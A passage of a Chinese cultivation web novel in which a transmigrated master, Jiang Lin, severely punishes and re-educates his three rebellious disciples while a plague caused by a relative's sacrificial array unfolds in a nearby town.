原本的剧情中,江林觉得他情有可原,只是轻轻拿起,又轻轻放下。 /// 江林赶到的时候,赵天肃已经被绑,掌门、执法长老、宗门未闭关的十大长老全部都到场了。 他是最后来的那位。 赵天肃站得笔直,样貌英俊逼人,剑眉星目,嘴唇薄,一双眼也冷傲无比,苦大仇深,饱含冤屈的脸。 “师弟,你来了?”掌门段白眉清目秀,温润如玉,对待他这个师弟算是推心置腹了。 “师兄。”江林只是淡淡的点头。 众人看向江林,执法长老最为年长,语气沉沉:“清树真君你座下弟子下手如此狠辣,毁掉了同门师弟的灵台,让他成为从此再也不能修炼的废人,你对此有何想说的?” “根据宗门法条,故意伤害同门弟子,当废除修为,逐出师门。” 这话一出,便有长老反驳,“是不是太严重了些,赵天肃可是这代天赋最强的弟子。” “品行不行,天赋更为可怕。”执法长老刚正不阿。 江林听了两句,视线淡淡地对上赵天肃冷酷的眼神,就算他的嫡亲师尊来了,他也没有表现出任何的示弱,反而更加竖起尖刺。 清树真君为人清冷,对于弟子也没有任何软语,甚至在修为上极为苛刻,但也算是尽心尽力教导,骨子里更是护短心软,但偏偏这三个白眼狼都是心思敏感狭隘之人,记仇得很。 他们双眼中只看到了清树真君对他们的苛责,在各种误会下,看不清江林对几人的用心,所以才会做出那种枉为人徒,欺师犯上、猪狗不如的事情。 “赵天肃,你既是犯事者,何故能够站在受害者面前?”江林冷冷的语调出声,威压朝着赵天肃碾下去。 赵天肃咬牙硬抗,膝盖钝痛,脊背被师尊的威压压弯,坚持了十几秒,重重地跪在地上,砰的一声,膝盖骨碎裂,同时喷出一口鲜血,是硬抗元婴威压导致肺腑破裂。 众人见江林的态度,连最严苛的执法长老都愣了一下,原本沉重的眉眼变得轻快些。 “我的徒儿是我没教好,要如何处置,我都接受。”江林见赵天肃双眼发红地盯着他,满心满眼都是恨意,气愤江林不分青红皂白地冤枉。 这话一出,一位红发男子也跪在地上,一头磕在地上,朝着江林的方向,为赵天肃求情:“师尊,大师兄之所以会动手,是姚年之辱他生身父母,师尊明鉴啊。” 下跪的是江林的二徒弟,佘离,蛇族半妖。 从小受到人族和妖族的排挤,是清树真君带他回宗门,授之以仙法。 “就算如此,手段是否太过刚烈了,只不过几句口舌之争” 江林挥了挥衣袖,凌厉的灵气化作掌风,狠狠扇在佘离脸上,脸色依旧清冷未变:“你大师兄毁人灵台的法宝是你炼制的吧,知情却不阻止,你也有罪。” 佘离被扇倒在地上,双眼微微一竖,露出怪异的妖瞳,江林没留手,差点一巴掌扇出佘离的原形。 顿时,他便不敢求情了。 赵天肃咬牙道:“师尊不要牵连无辜,这是我一人之错。” 江林点了点下巴:“放心,你的罪谁都替你顶不了。” “”见江林如此狠绝的态度,众人都愣了一下。 从前清树真君最为护短,所以他们才闹出这么大的阵仗,就是为了让清树真君不好护短,但现在江林不护短了,他们还不知道怎么办了。 因为他们原本也没想真的毁掉赵天肃的修为,只是想磨磨他的性子,现在可算是骑虎难下。 “其实,死罪可免” 江林摇了摇头,冷着脸说道:“不可徇私,秉公处置。” “到底也是姚师侄出言不逊在先” 江林道:“毁人修为终究是畜生所为。” 执法长老见状都忍不住出声道:“鞭刑百下” “百下如何够?我的大徒弟从小便是钢筋铁骨,百下不足以让他长记性。”江林又是拒绝。 众人无语了,从未见过这般冷酷的师尊,完全就是要至徒儿于死地啊。 赵天肃神情一顿,露出一点难以置信的神色,不敢相信师尊竟然如此无情。 佘离不敢再多言,原本他也是想着师尊会保下师兄才敢出声相助,让师兄记他一个好,但现在师尊这般态度,他就不敢胡乱开口了,害怕师尊连着他一起罚了。 最终在众人的劝阻下,江林才答应让赵天肃承受百下魂鞭了事。 魂鞭和普通鞭子可不一样,顾名思义,那一鞭鞭都是抽在神魂上,身体和神魂都要遭受酷刑。 若是不够强大的,可能会神魂俱灭。 江林没有观刑,而是带走了佘离,让他跪在清心殿前,直到他殿前的桃花发芽,才能起来。 /// 直到半夜,被鞭打完的赵天肃是抬回来,江林支着手假寐,执法堂弟子毕恭毕敬地开口:“赵师弟五脏俱裂,神魂溃散,灵台重伤,师尊说他的命掌握在您的手中。” 若是江林不救他,赵天肃就算不死,修为也再难精进。 “嗯。”江林只是应答一声。 弟子便拱手离开。 江林视线落在地上满身是血,血肉模糊的徒弟身上,赵天肃并未昏迷,他凭借着惊人的毅力保持着意识清醒,双眼充血,口鼻淌血,狼狈不堪,却双眼凶狠地盯着江林。 “我从小教你何为尊师重道,何为爱重同门,救你入玉溯宗,但你不知道感恩也就罢了,如今用这种眼神看着我,你是恨我吗?”江林对上他的目光。 清清凌凌,不带半点感情。 赵天肃头脑发昏,突然想到年幼被师尊所救,那天如同仙人下凡的场景让他久久不能回神,但拜入师门,师尊几乎碾碎他的自尊,当众辱骂殴打他的场景亦历历在目 “我倒是养了个白眼狼,如此,你便死在我面前,我也不会动容半分。”江林连塌都没下,只是居高临下地看着他。 赵天肃所有的傲骨在生命流逝的惊恐中变得微不足道,他眼神似乎一瞬间变得清澈了,努力地朝着师尊伸手,最终声音破碎地说道:“师尊,救我” 江林依旧不为所动,眉眼轻轻耷拉着,显得不近人情又冷漠 赵天肃从地上一点点朝着江林爬过去,留下一道鲜红的血痕,仿佛刚刚拖拽一具尸体滑过。 他一点点挪到江林榻边,伸出带血脏污的手指,试图触碰江林白色的衣角,但在空中失之交臂,重重垂下。 赵天肃趴在鞋塌上,呢喃求饶:“师尊,求您救救我我再也不敢了” 江林冷眼旁观,直到赵天肃凭借顽强的意志力再次伸手,轻轻攥住他的一片衣角,他高高在上的师尊视线才落在他脸上。 狼狈得看不出原本样子的赵天肃,双眼泛着痛苦和可怜,犹如一只示弱的老虎,掩饰了自己的狠厉。 江林这才轻轻握住他的手腕,表情依旧淡漠,声线清哑:“赵天肃身为我的弟子,最重要的是尊敬师长,若是让我再发现你的歹念,你的修为怎么来的,我就能怎么拿走。” “嗬嗬”赵天肃已经回答不了他的话了,因为口鼻中溢满了鲜血,连基本的呼吸都做不到。 江林身上的灵力运转,为他疗伤,抬手将他扔进了仙灵殿,里面是他疗伤的灵泉,直接将人扔了进去,也不担心他会被淹死。 随即他在岸边布下阵法,聚集灵力为他重塑破碎的灵脉。 赵天肃恢复意识的一瞬间,眼神微闪,开口便道:“从此师尊便是我的再生父母,师尊的命令赵天肃莫敢不从。” 江林没有应答,仿佛没听见,但赵天肃明明感觉到他的气息就在附近。 第124章 江林识海内是安静无声的平静, 没有感知任何系统的存在,他清楚地认识到他此刻是暂时脱离主神控制的,浑身每个细胞都感受到了自由的味道。 他不知道老登主神又在玩什么把戏, 但脑子里脏东西终于被清除,江林觉得很爽。 大徒弟赵天肃正在修复灵脉, 蕴养灵台,没几个月恢复不了。 江林准备回到自己休憩的寝殿,红袍少年跪得笔直, 察觉到背后师尊的气息,他猛地转头, 露出那张颇为妖孽的脸,看着就不似凡人。 他双膝跪爬到江林脚边,佘离和自尊心强的赵天肃不同,他更多的是妖族的狡诈,为达目的不择手段的精神。 “师尊,我错了, 求求您饶了我吧。”他抱住师尊的腿, 抬起脸, 满脸无辜:“我当初给他炼制法器的时候,哪里知道师兄会用来做这些伤天害理的事情, 当初也是您知道的。师兄修为比我高, 我又哪里拦得住他师尊,您饶了我吧” 江林抬脚将他踹开,拧眉看着他, “哭哭啼啼的像什么样子?” 佘离双眼可怜,委屈地说道:“您一巴掌差点把徒儿扇得魂飞魄散,徒儿真的不知道错在哪里” 其实这事对于佘离来说真的只是无妄之灾, 那法器他早十年就给赵天肃炼制了,这次佘离不管他想不想阻止。但赵天肃根本没给他机会阻止,当时这么多修为更高的修士都没阻止了,更别说他一个修为比赵天肃更低的半妖了。 但是江林对他不喜,在原本的剧情,这只半妖是玩得最脏的那只,还是半妖蛇族,天赋异禀,天生淫/邪 “好,暂且不说这件事,从前在逍遥谷,你猎杀其他无辜妖族,又偷炼禁术这些又该怎么算?”江林将佘离暗地里做下的罪孽一桩一桩地说出来。 佘离表情有瞬间的狰狞:“他们哪里无辜?都是曾经杀我族人的畜生” “但刚出生的幼妖你也没有放过。”江林居高临下地看着他,双眼带着丝丝冷漠:“性格残暴至此,难成大器,他日心魔难渡,许会成为一方妖孽,还不如现在” 佘离不觉得自己有错,他杀的都是该死之人或者妖,他露出那张妖媚的脸,带着决绝:“我这一身修为都是师尊所赐,师尊若是想要毁了徒儿,我也绝无怨言。” 江林心中微顿,似有奇怪的感觉从心脏深处蔓延,但他不该因为他的这些话有所触动才是,这只是一个任务世界 他凝了凝神,袖中探出深红的捆仙绳,佘离顿时神色大惊,不敢相信师尊真的要废除他的修为。 “那些歪门邪术终究难成大器,我不会废掉你的修行,但你修行邪术,坏了根基,终究要从头再来的。”江林捆了佘离,就准备废他修行。 “师尊,不要”佘离这下知道害怕了,转身就要逃,被江林抓着回了洞府。 江林必须废除佘离的禁术,那是上古大妖的祭祀,后面甚至差点夺舍佘离,借着佘离的皮囊做出了很多伤害宗门人族的事情,所以不可留。 “啊啊,我不要!你怎么敢这样做!师尊,你不要这么对我,求你了”佘离被困在结界中,疯狂地捶打着结界,闹出极大的动静,引得清心殿弟子驻足,但江林却不为所动,手中掐诀,灵力从梨树院内疯狂涌动。 从天空云层往下看,还能看见细小的旋涡,金光大闪,从佘离脚下烦琐的咒文若隐若现,在阵法发动的瞬间,一股几乎灭顶的疼痛从佘离身上炸开。 他瞬间就露出了半人半妖的蛇形,脸上和身上都是黑绿色的蛇纹,发出一声惨叫,四周的弟子都被屏退,江林站在阵法外,拿着手中的主阵旗,一点点拨离大妖在佘离身上留下的妖气。 “三师兄。”门外悄悄朝里面看的弟子,在发现一道急匆匆的身影时,连忙伸手挡住,朱子澄是江林的三徒弟,年纪最小,前两日才突破练气进入筑基期。 “真君正在施阵,有结界,您别受伤了。” 朱子澄蹙眉朝里面瞧去,他长着一张白嫩的娃娃脸,乃是南国皇室的遗孤,心思细腻深沉,在师尊面前一向表现乖巧,也自诩能拿捏人心,但却突然拿不准师尊在想什么了。 先是师兄们的接连出事,让他生出几分警惕,看着阵法中央趴在地上痛苦翻转的半妖师兄,微微抽气,从他眉心中央绽出丝丝死气,下一秒被师尊的金印给镇压了。 佘离指甲都磨出了血,修为也在节节倒退。 朱子澄不知道怎的,突然觉得自己浑身发冷。 他视线落在师尊身上,他浅青色的外袍,举手投足中都是冷漠,似乎对师兄的痛苦恍若未觉,只是一道道金印打在师兄身上 佘离已经成为练气初期的修士,连人形都维持不住,他从一开始怒骂,到求饶,现在生不出一点违抗师尊的心思。 江林散去阵法,只能说他进入这个世界的时间尚早,让他有足够多的时间能够重新教育和惩治这些孽徒,若是他们羽翼丰满可就无法这么做了。 佘离那黑色的蛇尾都仿佛失去了所有的活性,焦黑一片,皮肉外翻,江林抬手将他带走,在炼丹房给他喂几颗丹药,佘离才缓缓睁眼,一双竖立的蛇瞳,带着非人的冷。 “阿离。”江林虽然换了称呼,但语气依旧是清清冷冷的,因为这个称呼佘离怔了怔,当初他遇见师尊的时候,还是一只半妖被人族喊打,用棒槌追着打,是师尊救了他,还找到了他的族人。 佘离喉咙说不出话来,只是直勾勾盯着江林。 “禁术祸害无穷,为师必须从你妖骨上剔除,今日你损失的修为,我会助你重新精进修为,仙藕淬骨,妖仙草筑基为师不会害你。”江林低声道。 佘离缓慢地点了点头,伸手揪住他的袖子,垂下那双冰冷的竖瞳,识时务者为俊杰,他如今根本不是师尊的对手,那就认怂挨打就是。 三个徒弟,重伤两个,没多久师兄段白便来找他谈心了。 在清心殿的前殿,朱子澄乖巧地给师伯和师尊倒茶,准备灵糕,随即乖巧地站在师尊身后。 “师弟,昨天听闻你施阵除妖?你的弟子是出了什么问题吗?”段白温润的目光落在江林身上,长叹一口气:“非我族类,其心必异,当初你要收半妖为徒,我就是不赞同的” “师兄,没什么大事,只是我发现徒儿修炼的功法有些偏而已。”江林打断他的话,抬眼看着他:“如今已经解决好了。” 段白笑容不变,端起茶盏轻抿:“师弟这么说,那我就放心了,只是你座下弟子才寥寥三位,过几日又是新收弟子拜师宴,你要不要多收几位?” 江林身为清心峰的峰主,只有三位亲传弟子的确不算多,其他峰的亲传弟子没有上百也有几十。 “我收徒看重眼缘,暂时没这个想法。”江林淡淡拒绝。 段白便也不好再劝,从储物戒中掏出一壶清酒,放在他桌前,微微弯腰,视线和江林静静对视两眼,微笑道:“师弟从前最爱喝我酿的酒,我特意给你准备了几壶,要不要与我共饮?” 江林神情和动作都毫无起伏,倒是朱子澄默默垂下了双眼,段白对他的心思从未遮掩过,但江林对他的拒绝也从未掩饰过。 “不了,师兄,我这两日耗尽了灵力,准备闭关半年。”江林如此说道,段白不好强求,只能无奈离开。 朱子澄等掌门师伯离开,才弯腰拱手唤师尊:“弟子不负众望,突破练气!” 江林轻轻扫他一眼,年幼的三徒弟,传说中的皇族遗脉,人皇之后。 “不错,继续努力。”江林抬手给他眉心打下一道剑气,顿时朱子澄呼吸都沉重了两分。 “师尊?”朱子澄惊呼出声。 “接下来的任务领悟这道剑气,为师会给你筑基奖励。”江林显然不觉得突破练气是一件值得庆祝的事情。 他也丝毫没有意识到他这样的行为多么打击弟子的积极性。 朱子澄也知道师尊一向严厉,只能回到弟子院继续修炼。 短暂地安置好弟子们的事情,江林也进入了修炼,他是带着佘离一起闭关的。 佘离盘成一个蛇饼在角落自己修炼,江林则是在冰床上打坐,灵气运转,冲击元婴的关卡,他卡在元婴中期几十年了。 佘离修为果然突飞猛进,被废的妖骨也更加能储蓄灵力,灵脉经过淬炼更加顺畅庞大,眼神更加有神,时不时落在旁边师尊的眼神也越来越久了。 师尊像一尊玉佛般,雪白的肌肤,仿佛雪落下,立体精致的清冷五官,充斥着一股冰清玉洁的神圣感。 佘离从修炼中抽离,试探的朝着师尊爬过去,感受到了师尊清冷好闻的气息,他伸出蛇尾,想要盘上他的脚,但下一秒尾巴被师尊的黑靴踩住了,蛇尾抽搐挣扎了一瞬,便乖乖朝着师尊妥协了。 江林睁开冰冷的眼,面无表情地看着佘离。 佘离却露出灿烂又妩媚的笑容,笑得极为谄媚,脸上的妖纹也显得妖异,“师尊,能不能让我离您近些修炼,您身边的灵气对徒儿来说诱惑太大了,我忍不住朝您爬过来,想要盘在您身上师尊。” “师尊,徒儿现在连人型都维持不住” 江林似乎一眼看出那藏在那张皮下的心思,眉眼淡漠如同清正的佛子,看着那心思不明的妖孽。 第125章 佘离感觉到自己的尾巴一阵剧痛, 师尊踩他尾巴的力度更重了,他脸色白了白,连忙认错:“师尊, 我该死,不应该打扰您清修的。” 见他露出可怜畏惧的神色, 江林才松开踩住他尾巴的脚。 佘离退回到对于江林来说安全的距离,但那双眼却时不时地用那种黏稠阴湿的眼神看着他,眼神在不断地变化, 视线似乎一寸寸地扫过江林的肌肤,轻轻留下舔舐的痕迹般 江林对于这样的目光熟视无睹, 只是认真修炼,谨记着一条,实力才是硬道理。 在闭关期间,佘离隔三差五尾巴不老实地凑到江林身边,被江林抽了好几顿也不长记性,铁了心地犯贱。 最终被江林从洞府中扔了出去, 才清净。 /// 半年后出关, 赵天肃已经痊愈, 瞧见江林神情毕恭毕敬,沉声道:“恭迎师尊出关。” 江林只是轻轻扫他一眼, 佘离以及朱子澄都站在他身后, 也是弯腰行礼,只是佘离暗自朝着他勾了勾唇角。 “嗯,不必多礼, 退下去吧。” 赵天肃露出一点浅薄的微笑,像是强行扯动了自己的唇角,让自己看起来显得温顺些:“上次我犯下大罪, 都是师尊给了我改过自新的机会,在这储物袋中是徒儿的一些谢礼。” 朱子澄也趁机说道:“师尊上次让我领悟的剑意,我自觉学有所成,师尊什么时候考核呀?” 因为江林收徒少,从前便规定了半年对三人进行一次考核,防止三人懈怠修行,也算是修真界顶顶尽职尽责的师尊了。 佘离便也接话道:“师尊,我重新筑基啦。” 江林很轻的挑了下眉,敷衍道:“赵天肃,东西你自己留着,两位师弟的功课你来考核,最后将结果告诉我。” 他懒得费口舌和功夫教导几只白眼狼。 佘离和朱子澄都是一怔,这还是第一次师尊露出这般敷衍的神情,心中升腾起一股空落落的感觉。 江林离开,佘离便身体一歪,准备离开,被赵天肃叫住:“准备去哪?师尊刚刚如何说的?” 佘离扯了扯红唇,“怎么你还准备代替师尊对我俩进行考核啊?” “大师兄你什么时候这么听师尊的话啦?难道这次真的被打怕了吗?” 朱子澄没插话,一双黑白分明的双眼,如同懵懂无觉的天真小孩。 赵天肃却没回答他的问题,自顾自朝着佘离出剑,考核考核,就是看修为是否精进,他从小和二师弟一起长大,只需要打一架便什么都清楚了。 “我操,赵天肃,你是疯了是吧。”佘离现在不是赵天肃的对手,但赵天肃和疯狗似的,那剑招之凌厉像是要取了他的性命。 他抵挡得狼狈不堪,险之又险地躲开他的杀招,脸颊被他的剑划出一道血痕,他气急败坏,却不敢动,因为赵天肃的剑架在他脖子上。 赵天肃收起剑,冷酷地看向朱子澄。 朱子澄连忙卖乖:“师兄,师兄,我自己出招就好啦,师尊留下的剑意在我的识海,您可以查看一下” 佘离劫后余生地喘出一口气,双眸有些冷,语气却阴沉森冷:“大师兄,你如今是铁了心要做师尊的座下烈犬吗?” “但师尊真的会领你的情吗?当初在外门弟子院中差点被当众打死的人是谁,你还记得吗?” 佘离就算自己不准备反抗江林,却也不爽赵天肃这种蛮横毫不留情的做法,直接戳伤了赵天肃的痛楚,那一次赵天肃还小,双腿差点被打断了。 因为有人冤枉赵天肃偷了他的法宝。 所以赵天肃记恨着不分青红皂白的师尊。 赵天肃带着小师弟离开,没有理会佘离。 佘离回到清心殿,便在前殿看见正在和江林搭话的师伯段白,那温润如玉的君子模样,温柔的双眼藏着的却是对他师尊的占有欲。 有人说他和师尊从小一起长大,青梅竹马,暗恋多年,可惜落花有意流水无情。 这么多年,师尊也没有对他有任何的好脸色。 这个道貌岸然的师伯,就是那个拿禁书给他修炼的人。 否则以佘离分崩离析、差点被灭族的蛇族,怎么会有上古禁术的修炼秘法给他修炼? 江林又扔下段白师伯离开了,佘离也没有凑上去,回到自己的院子。 被留下的段白脸上依旧是和煦温和的笑容。 /// 墨黑的夜色如同从天际泼下的墨,竹叶月影仿佛一只只游鱼,沙沙风声响起,如同惊弓之鸟,游鱼消失了。 赵天肃走近竹林时,并未察觉到什么,准备去后山瀑布练剑,但听见一声哗啦的水声,脚步一顿,他屏住呼吸,朝着发出声音的地方看去。 竹林角落有一片天然的温泉,只是寻常温泉没有多少灵力,所以一般只作观赏,没有什么人会去使用。 但今日赵天肃却看见意想不到的人,墨色的长发披散在肩头,月光落在那人的肌肤上,透着一股莹白的冷。 他朝后面藏了藏,视线却更加专注了些,直到看见那人棱角分明的五官,阴影下更加立体,眼睫垂着,露出大半的胸膛,清冷无双的师尊正在月下沐浴。 赵天肃目光盯着师尊被热气熏得有些发红的脸颊,只觉得莫名地口干舌燥,师尊的嘴唇今日也是格外的红润 “谁躲在那里鬼鬼祟祟的?”江林的修为很早就察觉到不对劲,只是懒得管。 赵天肃立刻出声道:“徒儿该死,打扰了师尊清净。” “是你啊,滚过来吧。”江林语气冷淡。 赵天肃脚步匆匆,微微低垂着视线,看见师尊的脚踩在一块干净的扁平石头上,肌肤上滚落着水珠,修长笔直的双腿,紧致带着薄肌的小腹,青色鼓起的血管,胸肌微微鼓起,形状很圆,一只手的大小 “你在看什么?”江林没有避讳徒弟的视线,十分坦荡,仿佛只是认为同性之间无所谓,毕竟他身上有的东西,赵天肃身上也有。 赵天肃也觉得自己太反常了,明明和他师尊都是男人,他视线却不敢直视江林的眼睛,只是转移话题:“白天师尊让我考核两位师弟,不负师尊信任,徒儿已经完成任务。” 江林踩上自己的靴子,抬手间穿上了衣服,湿辘辘的头发也变得干燥,水汽在瞬间蒸发,他低头挂着自己的玉佩,金丝腰带环身。 “怎么样?” “佘离师弟修为精进很快,根基牢固,有师尊给的妖仙草事半功倍。小师弟的话,对于剑道的领悟在筑基修为中还算不错,但对于达到师尊的要求还有一段距离”赵天肃一字一句,严肃认真,但视线看着江林的衣摆,看着从一开始的光裸脚踝,到环佩罗裳,走路间,他竟然觉得师尊有些摇曳生姿的感觉,腰也很细 江林嗯了一声,便语重心长地说道:“身为师门大师兄,你对两位师弟要多关心些,我有所不及的,你还需要在旁补充。” “自当如此。”赵天肃点头,跟在他身后,仿佛无形中牵绳的狗。 江林的身影消失,赵天肃才惊觉自己中邪了,明明他这么言听计从是为了谋取进入龙山仙址的名额,现在全忘记说了,只记得师尊那圆鼓的胸肌,颜色也好看。 赵天肃连忙遏制住自己的想法,他从前见师尊,只觉得刻薄、不近人情,仿佛一柄清冷的剑,能割得他血肉模糊。 但如今却生出了丝丝不敢直视的歹念。 最后,赵天肃在后山瀑布练剑到天明,才重新找到江林。 江林此刻有些懒散地倚在榻上,不准备成为那个姿态规正的真君,怎么舒服怎么来。 这一下,又把赵天肃整得愣住了,披着发的师尊,几缕发丝落在肩头,衣领有些歪,露出昨夜未仔细看清楚的锁骨,锁骨中间好似还有一颗红痣。 之后,赵天肃回府便梦到,自己趴在师尊身上,舔他那颗红痣的春梦。 “赵天肃?你又在看什么?”江林冷淡的声音,让赵天肃视线猛地对上他冰冷的视线,心中旖旎的心思瞬间一空,只剩下刻在骨子里的疼。 “我见师尊面容憔悴,可是闭关遇见难题了?”赵天肃连忙胡诌,哪里敢说自己看了什么,想了什么? 他转移话题太过生硬,江林只是懒得拆穿他,某些恶犬只要打怕了,便也不敢伸爪子了。 “为师没事,你来作什么?”江林语气淡淡。 赵天肃面容逐渐平静,恢复成了龙傲天的冷峻,语气却软了几分:“师尊,龙山仙址徒儿想去寻寻机缘。” 龙山仙址最新发现的仙族遗址,但因为结界不稳,十大宗门便决定限制人数进入,每个宗门分到的名额并不多,许多人挤破了脑袋都想进去。 若是从前赵天肃还莫名的信心师尊会给他留一个名额,但执法堂那次后,他就彻底没了信心。 江林不轻不重地说道:“你倒是消息灵通,师兄前脚刚刚告诉我这个消息,你就惦记上了。” 这话将赵天肃打成了急功近利之辈,让他忍不住咬牙,感觉自尊心又受挫了。 “你和佘离都能去。”江林对上赵天肃垂下的双眼,察觉到他加重的呼吸,话锋一转,变得凌厉:“跪下。” 赵天肃没反应过来,下意识地抬眼,发现江林的眉梢微蹙,面露不悦,才双膝磕在地上,笔直跪在师尊跟前。 “师尊?”他不解道。 “你刚刚对我心生怨怼?”江林直接戳穿了他的不忿。 赵天肃不懂为什么江林变得这么睚眦必报,这么小肚鸡肠,却不敢问出口,只是道:“徒儿不敢。” 江林抬手将桌上的凉透的茶水泼在赵天肃脸上,高挺的鼻梁都缀着茶水,赵天肃自尊心强,江林就要将他的自尊心碾碎了。 “还有什么是你不敢的?” 赵天肃舌尖都被自己咬出了血,才忍住这屈辱,脑袋磕在地上。从没有受过这般屈辱,就算惨遭灭门的时候也没用。 第126章 气氛像是凭空凝结了, 但赵天肃不是那天在执法堂外挺直脊梁绝不认输的赵天肃,他现在学乖了很多,他主动抱住师尊的腿, 低声喊冤:“弟子,真的没有二心。” 江林看着毫无骨气的龙傲天, 眉眼间闪过一丝嘲弄,所以原本傲气十足、我命由我不由天的龙傲天,变成了忍气吞声、三十年河东三十年河西的废材流龙傲天? 不等他说话, 从门外进来的佘离,似乎没有看见两人之间气氛的不对劲, 笑吟吟地说道:“师尊,清心殿外红莲堂副堂主求见。” 赵天肃见状没有继续纠缠,而是识相地松开了江林的腿。 佘离跟着江林离开了,徒留赵天肃一人。 红莲堂堂主是江林的侄儿,红莲堂虽比不过闻名的修真界的玉溯宗,却也是一个有自己传承的门派。 副堂主是一个中年男人, 毕恭毕敬地行礼, “清树真君。” 江林随意的摆手, 佘离一身红衣腰上挂着清心峰的弟子牌,站在江林身后颇有一种狐假虎威之感。 “弟子这次前来是请求真君帮忙的。”副堂主神情有些狼狈, 身后的弟子也满身是伤。 “什么事?”江林一抬手, 佘离就已经将过水的灵茶递到他手边,江林顺势接过,发现还是他最近最喜欢的茶叶。 “红莲镇出现了点怪事, 最近瘟疫泛滥,但又查不出缘由,就连修士都难逃魔爪, 堂主就是去了一趟红莲镇,现在在床上一病不起,修为也正在倒退溃散” “若不是实在没办法,我们也不会求到您这里来。” 玉溯宗各个峰主、长老、掌门背后都有自己的势力,而红莲堂只是清树真君背后一个小分支家族,作用可大可小。 原本的剧情中,江林会派佘离去处理此事,毕竟佘离天生善毒,且百毒不侵,最后的结果也妥善解决了。 但背地里,佘离却勾结他的侄儿江船背叛他。 罪魁祸首就是那位堂主,他的表侄儿,因为他修炼邪术,以红莲镇百姓和修士为祭,所作所为令人发指。 佘离收服堂主为他所用,在故事中期红莲堂堂主真面目被揭发,导致江林被修真界修士们唾弃和讨伐,因为红莲堂堂主和他沾亲带故,算是他的门下。 江林视线扫过佘离,原本还懒懒散散的佘离察觉到他的视线,冲着乖巧地眨了眨眼睛,绽放出一个露齿的笑容。 “佘离你去一趟。”江林面无表情,对他的示好熟视无睹。 佘离还未说话,副堂主倒是又强调道:“真君,就连堂主都病倒了。” 堂主是金丹修为,而现在的佘离还只是筑基修为。 佘离原本想拒绝的,闻言顿时一勾唇,轻哼一声:“你那个堂主算什么东西,我可是我清树真君座下二弟子,什么毒这么厉害,我倒要去瞧瞧。” 江林便想着,若是佘离还如从前那般作为,他正好有了借口惩治他。 佘离倏然弯腰凑近江林脸侧,弯着眼睛问道:“师尊,我若完美完成您给的任务,您给徒儿什么奖励呢?” 胆大包天的半妖,就算挨打也忍不住想靠近师尊,和师尊亲近。 江林冷冷地看着他:“我交代给你的任务,你本就该认真完成。若有任何差池,你提头来见。” 却没说任何奖励,佘离撇了撇嘴,老老实实地和副堂主离开了玉溯宗。 江林又去了一趟丹阁,炼了几炉丹,丹阁中的火是玄火,能够提高丹药的品质。 江林回到清心殿的时候,还以为赵天肃早就离开,却不想他还跪在原地,以他离开的姿势。 江林微微挑了下眉,这人若是换成佘离或者朱子澄他都不会意外,但这是给他人设中眼高于顶的麒麟子赵天肃啊。 赵天肃见他回来,抬起脸看向他,那张棱角分明的脸,表情依旧冷峻,但从他眼里江林居然看见了丝丝谨慎讨好的神色。 “师尊。”赵天肃沉沉开口。 江林却不准备继续为难他,就如同对其他人的态度一般,剧情中他们对主角做的事情,到底不是江林现在亲身经历的,许多事情都是还未发生的,这次若是他们依旧如此,他自然能根据他们所犯的事儿给出相应的惩罚。 “你滚下去吧。”江林不冷不淡的说道。 赵天肃望着师尊那张在阴影下晦暗不明的脸,只能瞧见一点白皙的下颌,凌厉的下颌线显得寡淡而又冷漠,凸起的喉结突然便显得有些性感。 “师尊,您在生气吗?”赵天肃突然哑着嗓子问。 他对江林的情感很复杂,江林救了他的性命,教授他本领,这人心思敏感细腻,从前不觉得师尊对他们师兄弟三人有多上心,但现在当师尊真的对他们冷淡下来后,他又非常敏锐地察觉到了这一点。 想来那条蛇也是发现了这一点,才变得那么黏糊人。 赵天肃从前对江林的情感就是如兄如父,尊敬爱重,不敢有半分不敬的,但自从那次师尊不分青红皂白地冤枉他,差点将他打死,上次又丝毫不顾他的死活,让执法堂抽了他一百魂鞭,他才生出怨怼来。 但尽管如此,一件无法否认的事实便是江林在他心中的地位没有人能够比得了。 “我生什么气?”江林语气不解,似乎听不懂他的话中的意思。 赵天肃也不好继续直白地质问他,为什么态度转变那么多。 见他说不出个所以然,江林继续赶人走:“可是我清心殿的灵气更加浓郁,你赖着这里不想走了?” 赵天肃见状便站起来,视线朝着他小心看了一眼,抿着唇,欲言又止,也不离开。 江林不欲和他纠缠,便又开口道:“我知你心中对我有怨,恨我在执法堂对你太过严苛,但那时的情况可容我对你心软?” “你性子从小便烈,这次下手更是过犹不及,他辱你父母,你告知我,我定会找他师尊、亲族麻烦,难道就只有毁人修为一种做法了?” 赵天肃虽然被教训了,但莫名地觉得心中舒坦,虽然还是不满,却不是对江林的,而是对自己的,应该下手更加隐蔽,不让其他人发现。 “弟子知道了,以后定不会再犯。”赵天肃回答。 这下不再赖在江林院中,挨了一顿训,脚步轻快地离开了。 江林看着他的背影,眉头不由轻轻地蹙起,心中涌起一点疑云,总觉得眼前赵天肃和给他剧情中的他有些区别。 剧情中的赵天肃后期甚至疯批到挑断了师尊的脚筋手筋就是为了更好地囚禁着他。 但江林总觉得这个赵天肃做不出这种事情来。 他现在也无人可问,也许是后来又发生了什么也未可知。 /// 佘离跟着副堂主来到红莲镇,他很快就发现了问题所在,他毕竟也是从小被师尊压在藏书阁看书的人,对于这个祭祀法阵还真有所了解。 他不过三天时间便找出了阵眼,也发现了堂主并不是真的病倒,而是在重筑修为,拿百姓的命和修士的气数修炼。 在这期间,副堂主被杀了,就是因为他跟着佘离发现了堂主的阴谋。 佘离准备回宗门复命,可是原本“昏迷”的堂主醒来挡住了他的去路,此刻堂主江船如同青年般年轻的面孔,脸上红光满面,笑着和佘离说要做交易。 佘离眯了眯眼,笑了:“你有什么资格和我谈交易呢?” 江船却笑得自信满满:“我知道当初欺辱你的人现在在哪,也知道你们蛇族的传承现在在谁人手中。” 佘离怔了怔,似乎没想到这样的隐秘他也知道,他唇角笑意加深:“好啊,你告诉我,我跟你合作。” “合作当然要有诚意,你签了这个契约,我便告诉你。”江船拿出一纸金色的契约,脸上带着一点蛊惑的笑容。 佘离挑眉接过契约,那个契约他甚至没见过,他心底一沉,他半点不相信这个江船能有这般底蕴。 “这是什么契约?”他轻笑问。 “只是一个保证你能守口如瓶的小契约。”江船回答,脸上的表情也很平静。 佘离抬手似乎想要签订血契,但下一瞬,他用力一捏,金色消失。他迅速化作一条黑蛇,撞开窗户,跑了出去,江船脸上的笑容消失,看着佘离离开的方向,眼底露出一点杀意。 /// 龙山仙址开启在即,江林原本给佘离准备了名额,但他迟迟未归,他不准备再等下去,准备带着玉溯宗其他弟子进入龙山仙址。 